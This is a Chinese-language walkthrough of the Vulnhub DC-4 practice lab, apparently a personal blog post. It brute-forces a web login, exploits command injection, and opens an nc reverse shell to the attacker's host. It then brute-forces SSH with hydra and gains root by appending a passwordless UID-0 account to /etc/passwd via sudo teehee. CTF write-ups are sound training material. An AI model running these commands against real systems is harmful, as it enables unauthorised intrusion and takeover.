Single

[Vulnhub]DC-4靶机通关记录3 min read

靶机下载地址:戳我

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

作者说惹这次只有一个flag。

0x00 前期工作

使用kali探测存活主机,得到DC-2靶机的ip为192.168.58.130:

fping -g 192.168.58.1/24

探测主机开放了哪些端口:

22端口默认的服务是ssh,80端口默认的服务是web应用。

0x01 获取flag

看一哈80端口的页面:

使用bp爆破,得到用户名为admin,密码是happy:

发现可以执行命令:

抓包,发现存在任意命令执行漏洞:

搞一个连接型后门哈qwq:

nc -nv 192.168.58.134 8032 -e /bin/bash

最后需要提权到root。在/home下有三个文件夹,其中两个是空的,剩下一个/home/jim/backups目录下得到old-passwords.bak,里面是字典。复制到本机重命名成了pass.txt

考虑到22端口还没有利用,使用hydra工具用字典对22端口进行爆破。

hyrda 192.168.58.130 ssh -l jim -P pass.txt -t 6 -v -f

攻击目标:192.168.58.130

使用的模块:ssh

爆破用户名:jim(-l)

使用的密码字典:pass.txt (-P)

爆破线程数:6 (-t)

显示详细信息 (-V)

爆破成功一个后停止 (-f)

host: 192.168.58.130 login: jim password: jibril04

成功连接ssh,康康输入ls命令,有一个mbox,里面是一封信。

切换到/var/mail目录下,有一个jim文件。查看得到charles账号的密码。

变更为其他使用者的身份需要用到su命令。切换到charles后,查看当前账户可以用哪些root权限的命令:

sudo -l

发现可以使用teehee命令而且能免密执行。查询了下该命令的简单使用方法:

-a 参数可以附加内容到指定的文件上(不是覆盖)。

使用teehee命令将一个无密码用户shawroot写入到/etc/passwd文件,并加入到root组中:

echo "shawroot::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

管道符可以将第一条命令的执行结果作为第二条命令的参数。接下来切换账户就可以惹。

su shawroot

cd /root

cat flag.txt

学习了下各位狮虎的wp,发现还有一个非预期解法——CVE-2019-10149进行本地提权,今晚不码了,明天实验试试看。